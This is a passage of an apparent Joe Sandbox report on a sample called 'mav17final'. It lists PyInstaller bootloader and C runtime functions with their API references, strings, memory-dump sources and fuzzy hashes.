Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e1e521c9b2ba9996a291680bfc6f593a9bf57ec62e45b01cf424f45e8760f50e
Instruction ID: 3776b05df23301e3a4814153eb1643bd41f68ae9a56ee74eb669bc7204acd2d6
Opcode Fuzzy Hash: e1e521c9b2ba9996a291680bfc6f593a9bf57ec62e45b01cf424f45e8760f50e
Instruction Fuzzy Hash: 17F06214B0960351FE7477715890ABDD290EF58B80FC84435CD0E867F1ED5CE4454630

Function 00007FF79EA4E290 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA4E2BD

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2ad25243953c9a02ca10b9054c2eedea246f18d1ab88f9bce38db8b8bc417fba
Instruction ID: 8d7b8b45b8cb5819569c9a62fd46624b2d6b815578b8465611993aa0a9baf186
Opcode Fuzzy Hash: 2ad25243953c9a02ca10b9054c2eedea246f18d1ab88f9bce38db8b8bc417fba
Instruction Fuzzy Hash: 6EF09621F08A4241EA60BB75A48147DE254DF95BE0F985530F65D47BE6DD6CD4414730

Function 00007FF79EA4DEAC Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA4DECE

Part of subcall function 00007FF79EA4DE28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA4DE45

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 7fa6522447286bef44e2041a239f01c2dc9c274788e9281e99a64b14b5142831
Instruction ID: 7661d3ebd0348fd550d0c97be3bda151aba7bd2d4419fa9d0b61a58ddceb74dd
Opcode Fuzzy Hash: 7fa6522447286bef44e2041a239f01c2dc9c274788e9281e99a64b14b5142831
Instruction Fuzzy Hash: 48F08221A0C90385F974BB79A4C2A7DA290DFA5794FD81630F61E866F3EF2CE4418731

Function 00007FF79EA58C00 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,?,00000000,00007FF79EA51577,?,?,?,?,?,?,?,00007FF79EA4290B), ref: 00007FF79EA58C3E

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 6f2a4ad9f512a4c2bcba360b399d629d2b166f315522859e6d59b16541e63fe7
Instruction ID: 024a0a6ee17b1bd70b2f01dbc80dd831cb98869453be293267682f34e1a35273
Opcode Fuzzy Hash: 6f2a4ad9f512a4c2bcba360b399d629d2b166f315522859e6d59b16541e63fe7
Instruction Fuzzy Hash: C9F0F810F0A64755FE7877B159C1A7DA580DFA9BB1F884630DD2E862F1DE2CA4814A34

Function 00007FF79EA54750 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA54772

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: edf159b7b19ce31d504abb84e2344a46a629cce5a9b772ee81c428513dd29d6c
Instruction ID: dbb7c30e82881e89ff686b2ac429b49f4c3a141b839599cb068de93e4a1c132c
Opcode Fuzzy Hash: edf159b7b19ce31d504abb84e2344a46a629cce5a9b772ee81c428513dd29d6c
Instruction Fuzzy Hash: 7EE06D20A0CA4245EE64BBB6A58597DA150DF96BF0FC41B34EA3E067F3DE2CA0508730

Function 00007FF79EA53A04 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA53A1D

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 5131db3b9d397febd42fe8dcaac256292aabfb728f08fa2f2e4777bcacc41136
Instruction ID: a526673a9d000de5d54e59418d7586c4acdc6157ff618549bfe7fe5acdf7cff0
Opcode Fuzzy Hash: 5131db3b9d397febd42fe8dcaac256292aabfb728f08fa2f2e4777bcacc41136
Instruction Fuzzy Hash: 9CE0EC64E096074AF6743BB449C2D7DF190CFA8390F844474EB09062F7DD1D68585631

Function 00007FF79EA56830 Relevance: 1.5, APIs: 1, Instructions: 14threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlRestoreThreadPreferredUILanguages.NTDLL ref: 00007FF79EA56846

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: LanguagesPreferredRestoreThread
String ID:
API String ID: 1765668137-0
Opcode ID: 7d709474b1a4bf75fc575d481edd2e8fc45b698afa591cb20bc82c2b9fe51d91
Instruction ID: 0ee84b1be6be4b7c00f6021233c0ac43268d26487e93129a811d9cb7dc441b97
Opcode Fuzzy Hash: 7d709474b1a4bf75fc575d481edd2e8fc45b698afa591cb20bc82c2b9fe51d91
Instruction Fuzzy Hash: F6D0C991E1984346FA78B7B368D59399291DFF9B50F844430D81D81671EE1C659542B0

Function 00007FF79EA482E0 Relevance: 1.3, APIs: 1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: DirectoryErrorLastRemove
String ID:
API String ID: 377330604-0
Opcode ID: 71f1e042a03ee4b45df1047b1ddf8681d2a769f87646e79ab316bda138fac715
Instruction ID: 82fb887219773ff840c83c7c82f376e0787dc8f2fd4ea5290aee36dee4ac55b9
Opcode Fuzzy Hash: 71f1e042a03ee4b45df1047b1ddf8681d2a769f87646e79ab316bda138fac715
Instruction Fuzzy Hash: 73417616D1C6C591E621AB34A5516BCA360FBA5784F959232EF8D42163FF28B6C8C330

Non-executed Functions

Function 00007FF79EA450D0 Relevance: 233.1, APIs: 44, Strings: 89, Instructions: 363libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,00000000,00007FF79EA4344E), ref: 00007FF79EA450E0
GetProcAddress.KERNEL32(?,?,00000000,00007FF79EA4344E), ref: 00007FF79EA4511A
GetProcAddress.KERNEL32(?,?,00000000,00007FF79EA4344E), ref: 00007FF79EA4513F
GetProcAddress.KERNEL32(?,?,00000000,00007FF79EA4344E), ref: 00007FF79EA45164
GetProcAddress.KERNEL32(?,?,00000000,00007FF79EA4344E), ref: 00007FF79EA4518C
GetProcAddress.KERNEL32(?,?,00000000,00007FF79EA4344E), ref: 00007FF79EA451B4
GetProcAddress.KERNEL32(?,?,00000000,00007FF79EA4344E), ref: 00007FF79EA451DC
GetProcAddress.KERNEL32(?,?,00000000,00007FF79EA4344E), ref: 00007FF79EA45204
GetProcAddress.KERNEL32(?,?,00000000,00007FF79EA4344E), ref: 00007FF79EA4522C
GetProcAddress.KERNEL32(?,?,00000000,00007FF79EA4344E), ref: 00007FF79EA45254

Strings

PyObject_SetAttrString, xrefs: 00007FF79EA45592
Failed to get address for PyModule_GetDict, xrefs: 00007FF79EA4550E
PyConfig_SetBytesString, xrefs: 00007FF79EA45272
PyErr_Clear, xrefs: 00007FF79EA452EA
Failed to get address for Py_DecodeLocale, xrefs: 00007FF79EA4512C
PyErr_Fetch, xrefs: 00007FF79EA45312
PyObject_Str, xrefs: 00007FF79EA455BA
PyList_Append, xrefs: 00007FF79EA4547A
Py_ExitStatusException, xrefs: 00007FF79EA45135
PyUnicode_Replace, xrefs: 00007FF79EA4579A
Failed to get address for Py_InitializeFromConfig, xrefs: 00007FF79EA4519E
PySys_GetObject, xrefs: 00007FF79EA4565A
PyErr_Occurred, xrefs: 00007FF79EA45362
Failed to get address for PyErr_Restore, xrefs: 00007FF79EA453CE
PyModule_GetDict, xrefs: 00007FF79EA454F2
Failed to get address for PyImport_ExecCodeModule, xrefs: 00007FF79EA45446
PyUnicode_FromFormat, xrefs: 00007FF79EA45722
PyConfig_Clear, xrefs: 00007FF79EA451FA
PyConfig_SetWideStringList, xrefs: 00007FF79EA452C2
Failed to get address for Py_IsInitialized, xrefs: 00007FF79EA451C6
Failed to get address for Py_ExitStatusException, xrefs: 00007FF79EA45151
PyMem_RawFree, xrefs: 00007FF79EA454CA
PySys_SetObject, xrefs: 00007FF79EA45682
PyObject_CallFunction, xrefs: 00007FF79EA4551A
Py_DecodeLocale, xrefs: 00007FF79EA45110
Failed to get address for PyConfig_SetString, xrefs: 00007FF79EA452B6
Failed to get address for PyObject_SetAttrString, xrefs: 00007FF79EA455AE
Failed to get address for PyConfig_Clear, xrefs: 00007FF79EA45216
Failed to get address for PyUnicode_FromFormat, xrefs: 00007FF79EA4573E
PyUnicode_Decode, xrefs: 00007FF79EA456D2
Failed to get address for PyObject_GetAttrString, xrefs: 00007FF79EA45586
Py_PreInitialize, xrefs: 00007FF79EA451D2
PyStatus_Exception, xrefs: 00007FF79EA45632
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF79EA455E2
Failed to get address for PySys_SetObject, xrefs: 00007FF79EA4569E
PyUnicode_FromString, xrefs: 00007FF79EA4574A
Failed to get address for PyErr_NormalizeException, xrefs: 00007FF79EA45356
Failed to get address for Py_Finalize, xrefs: 00007FF79EA45176
PyUnicode_AsUTF8, xrefs: 00007FF79EA456AA
Py_IsInitialized, xrefs: 00007FF79EA451AA
Py_Finalize, xrefs: 00007FF79EA4515A
Failed to get address for PyUnicode_FromString, xrefs: 00007FF79EA45766
PyErr_NormalizeException, xrefs: 00007FF79EA4533A
Failed to get address for PyEval_EvalCode, xrefs: 00007FF79EA453F6
Failed to get address for PyUnicode_Replace, xrefs: 00007FF79EA457B6
PyUnicode_Join, xrefs: 00007FF79EA45772
PyObject_GetAttrString, xrefs: 00007FF79EA4556A
PyConfig_Read, xrefs: 00007FF79EA4524A
Failed to get address for PyStatus_Exception, xrefs: 00007FF79EA4564E
PyEval_EvalCode, xrefs: 00007FF79EA453DA
Failed to get address for PySys_GetObject, xrefs: 00007FF79EA45676
Failed to get address for Py_PreInitialize, xrefs: 00007FF79EA451EE
PyConfig_SetString, xrefs: 00007FF79EA4529A
Failed to get address for PyUnicode_Join, xrefs: 00007FF79EA4578E
Failed to get address for PyMarshal_ReadObjectFromString, xrefs: 00007FF79EA454BE
Failed to get address for PyObject_CallFunction, xrefs: 00007FF79EA45536
Failed to get address for PyErr_Occurred, xrefs: 00007FF79EA4537E
Failed to get address for PyMem_RawFree, xrefs: 00007FF79EA454E6
Failed to get address for PyUnicode_AsUTF8, xrefs: 00007FF79EA456C6
PyImport_ImportModule, xrefs: 00007FF79EA45452
Failed to get address for Py_DecRef, xrefs: 00007FF79EA450F2
PyErr_Print, xrefs: 00007FF79EA4538A
PyErr_Restore, xrefs: 00007FF79EA453B2
Failed to get address for PyImport_AddModule, xrefs: 00007FF79EA4541E
Failed to get address for PyConfig_SetBytesString, xrefs: 00007FF79EA4528E
Failed to get address for PyErr_Fetch, xrefs: 00007FF79EA4532E
PyMarshal_ReadObjectFromString, xrefs: 00007FF79EA454A2
PyObject_CallFunctionObjArgs, xrefs: 00007FF79EA45542
Failed to get address for PyConfig_Read, xrefs: 00007FF79EA45266
GetProcAddress, xrefs: 00007FF79EA450F9
Failed to get address for PyPreConfig_InitIsolatedConfig, xrefs: 00007FF79EA455FE
PyUnicode_DecodeFSDefault, xrefs: 00007FF79EA456FA
PyImport_ExecCodeModule, xrefs: 00007FF79EA4542A
Failed to get address for PyUnicode_Decode, xrefs: 00007FF79EA456EE
Failed to get address for PyErr_Print, xrefs: 00007FF79EA453A6
PyConfig_InitIsolatedConfig, xrefs: 00007FF79EA45222
Failed to get address for PyConfig_SetWideStringList, xrefs: 00007FF79EA452DE
Failed to get address for PyImport_ImportModule, xrefs: 00007FF79EA4546E
Failed to get address for PyList_Append, xrefs: 00007FF79EA45496
PyRun_SimpleStringFlags, xrefs: 00007FF79EA4560A
Py_InitializeFromConfig, xrefs: 00007FF79EA45182
Failed to get address for PyConfig_InitIsolatedConfig, xrefs: 00007FF79EA4523E
Failed to get address for PyUnicode_DecodeFSDefault, xrefs: 00007FF79EA45716
Failed to get address for PyRun_SimpleStringFlags, xrefs: 00007FF79EA45626
Failed to get address for PyObject_Str, xrefs: 00007FF79EA455D6
Failed to get address for PyObject_CallFunctionObjArgs, xrefs: 00007FF79EA4555E
Failed to get address for PyErr_Clear, xrefs: 00007FF79EA45306
Py_DecRef, xrefs: 00007FF79EA450D6
PyImport_AddModule, xrefs: 00007FF79EA45402

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for PyConfig_Clear$Failed to get address for PyConfig_InitIsolatedConfig$Failed to get address for PyConfig_Read$Failed to get address for PyConfig_SetBytesString$Failed to get address for PyConfig_SetString$Failed to get address for PyConfig_SetWideStringList$Failed to get address for PyErr_Clear$Failed to get address for PyErr_Fetch$Failed to get address for PyErr_NormalizeException$Failed to get address for PyErr_Occurred$Failed to get address for PyErr_Print$Failed to get address for PyErr_Restore$Failed to get address for PyEval_EvalCode$Failed to get address for PyImport_AddModule$Failed to get address for PyImport_ExecCodeModule$Failed to get address for PyImport_ImportModule$Failed to get address for PyList_Append$Failed to get address for PyMarshal_ReadObjectFromString$Failed to get address for PyMem_RawFree$Failed to get address for PyModule_GetDict$Failed to get address for PyObject_CallFunction$Failed to get address for PyObject_CallFunctionObjArgs$Failed to get address for PyObject_GetAttrString$Failed to get address for PyObject_SetAttrString$Failed to get address for PyObject_Str$Failed to get address for PyPreConfig_InitIsolatedConfig$Failed to get address for PyRun_SimpleStringFlags$Failed to get address for PyStatus_Exception$Failed to get address for PySys_GetObject$Failed to get address for PySys_SetObject$Failed to get address for PyUnicode_AsUTF8$Failed to get address for PyUnicode_Decode$Failed to get address for PyUnicode_DecodeFSDefault$Failed to get address for PyUnicode_FromFormat$Failed to get address for PyUnicode_FromString$Failed to get address for PyUnicode_Join$Failed to get address for PyUnicode_Replace$Failed to get address for Py_DecRef$Failed to get address for Py_DecodeLocale$Failed to get address for Py_ExitStatusException$Failed to get address for Py_Finalize$Failed to get address for Py_InitializeFromConfig$Failed to get address for Py_IsInitialized$Failed to get address for Py_PreInitialize$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyList_Append$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 190572456-4266016200
Opcode ID: 14785d6e7bc2baf3401dc5b349dbbd6f73f8c7ddb60bebd002ee515bd7b7ae54
Instruction ID: 7545ca3fbd3d9e9d0044cfe652b6e2c646e4a87ecad510b11e32ee6bf1e2fd0b
Opcode Fuzzy Hash: 14785d6e7bc2baf3401dc5b349dbbd6f73f8c7ddb60bebd002ee515bd7b7ae54
Instruction Fuzzy Hash: 6412B464A19F0395FE79EB25ACD0874A6A1EF46B44BC65431D80E063B4FF7CE9498330

Function 00007FF79EA41F50 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 188windowCOMMON

Download Yara Rule

APIs

GetDialogBaseUnits.USER32 ref: 00007FF79EA41F9E
MulDiv.KERNEL32 ref: 00007FF79EA41FB2
MulDiv.KERNEL32 ref: 00007FF79EA41FD3
SystemParametersInfoW.USER32 ref: 00007FF79EA4201B
CreateFontIndirectW.GDI32 ref: 00007FF79EA4202F
#380.COMCTL32 ref: 00007FF79EA42053
CreateWindowExW.USER32 ref: 00007FF79EA420A6
CreateWindowExW.USER32 ref: 00007FF79EA42100
CreateWindowExW.USER32 ref: 00007FF79EA4215D
CreateWindowExW.USER32 ref: 00007FF79EA421BF
SendMessageW.USER32 ref: 00007FF79EA421DF
SendMessageW.USER32 ref: 00007FF79EA421F9
SendMessageW.USER32 ref: 00007FF79EA42218
SendMessageW.USER32 ref: 00007FF79EA42237
SendMessageW.USER32 ref: 00007FF79EA42255
SendMessageW.USER32 ref: 00007FF79EA42273
SendMessageW.USER32 ref: 00007FF79EA42291
SendMessageW.USER32 ref: 00007FF79EA422A9
SendMessageW.USER32 ref: 00007FF79EA422C1
GetClientRect.USER32 ref: 00007FF79EA422D0

Part of subcall function 00007FF79EA423F0: GetDC.USER32 ref: 00007FF79EA4241B
Part of subcall function 00007FF79EA423F0: SelectObject.GDI32 ref: 00007FF79EA42466
Part of subcall function 00007FF79EA423F0: DrawTextW.USER32 ref: 00007FF79EA42489
Part of subcall function 00007FF79EA423F0: SelectObject.GDI32 ref: 00007FF79EA4249F
Part of subcall function 00007FF79EA423F0: ReleaseDC.USER32 ref: 00007FF79EA424AF
Part of subcall function 00007FF79EA423F0: MoveWindow.USER32 ref: 00007FF79EA424FF
Part of subcall function 00007FF79EA423F0: MoveWindow.USER32 ref: 00007FF79EA4253F
Part of subcall function 00007FF79EA423F0: MoveWindow.USER32 ref: 00007FF79EA42592

Strings

Close, xrefs: 00007FF79EA42168
EDIT, xrefs: 00007FF79EA4210B
Failed to execute script '%ls' due to unhandled exception: %ls, xrefs: 00007FF79EA41F7D
STATIC, xrefs: 00007FF79EA4205C, 00007FF79EA420B1
BUTTON, xrefs: 00007FF79EA42176

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: MessageSend$Window$Create$Move$ObjectSelect$#380BaseClientDialogDrawFontIndirectInfoParametersRectReleaseSystemTextUnits
String ID: BUTTON$Close$EDIT$Failed to execute script '%ls' due to unhandled exception: %ls$STATIC
API String ID: 2446303242-1601438679
Opcode ID: 6259fad1ac732275e9b31943f0bc06070114494923621a8928dbeeeacfcbb0ed
Instruction ID: 1d88dbe607d02b34136b973a87174a43e777f2a12b60fb21657ce4becfc8348a
Opcode Fuzzy Hash: 6259fad1ac732275e9b31943f0bc06070114494923621a8928dbeeeacfcbb0ed
Instruction Fuzzy Hash: CDA15136218B8187D7249F21E494BAEB770F789B84F904126DB8D43B24DF7DE165CB60

Function 00007FF79EA5F9FC Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1209COMMON

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF79EA5FA41
_invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA60041
_invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA601F8
_invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA6040C
_invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA606B5
_invalid_parameter_noinfo.LIBCMT ref: 00007FF79EA608B2
memcpy_s.LIBCPMT ref: 00007FF79EA6099D
memcpy_s.LIBCPMT ref: 00007FF79EA60A48
memcpy_s.LIBCPMT ref: 00007FF79EA60B0E

Strings

1#QNAN, xrefs: 00007FF79EA60BCC
1#INF, xrefs: 00007FF79EA60BDF
1#IND, xrefs: 00007FF79EA60BB4
1#SNAN, xrefs: 00007FF79EA60BC0

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA79000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075184051.00007FF79EA7B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075249733.00007FF79EA7D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79ea40000_mav17final.jbxd

Similarity

API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 808467561-2761157908
Opcode ID: b4ac3ca9d165bd3345c25ccf605b050a00ed4afb5e75d50575a3e41fada79be9
Instruction ID: bd3b419ff169b23e22d81d345b0e15a027ed60556c0cd3acce9732f1fe8d164d
Opcode Fuzzy Hash: b4ac3ca9d165bd3345c25ccf605b050a00ed4afb5e75d50575a3e41fada79be9
Instruction Fuzzy Hash: 40B21672A186828BE7759F34D4C0BFDB7A1FB55788F801135DA0D57AA8DF38A940CB60

Function 00007FF79EA48460 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 52windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00007FF79EA42A60), ref: 00007FF79EA48487
FormatMessageW.KERNEL32(00000000,00007FF79EA42A60), ref: 00007FF79EA484B6
WideCharToMultiByte.KERNEL32 ref: 00007FF79EA4850C

Part of subcall function 00007FF79EA429E0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF79EA486F3,?,?,?,?,?,?,?,?,?,?,?,00007FF79EA4101D), ref: 00007FF79EA42A14
Part of subcall function 00007FF79EA429E0: MessageBoxW.USER32 ref: 00007FF79EA42AEC

Strings

PyInstaller: pyi_win32_utils_to_utf8 failed., xrefs: 00007FF79EA48529
FormatMessageW, xrefs: 00007FF79EA484C7
No error messages generated., xrefs: 00007FF79EA484C0
Failed to encode wchar_t as UTF-8., xrefs: 00007FF79EA48516
WideCharToMultiByte, xrefs: 00007FF79EA4851D
PyInstaller: FormatMessageW failed., xrefs: 00007FF79EA484D3

Memory Dump Source

Source File: 00000000.00000002.2075091332.00007FF79EA41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79EA40000, based on PE: true

Associated: 00000000.00000002.2075048017.00007FF79EA40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075126515.00007FF79EA66000.00000002.00000001.01000000.00000003.sdmpDownload File
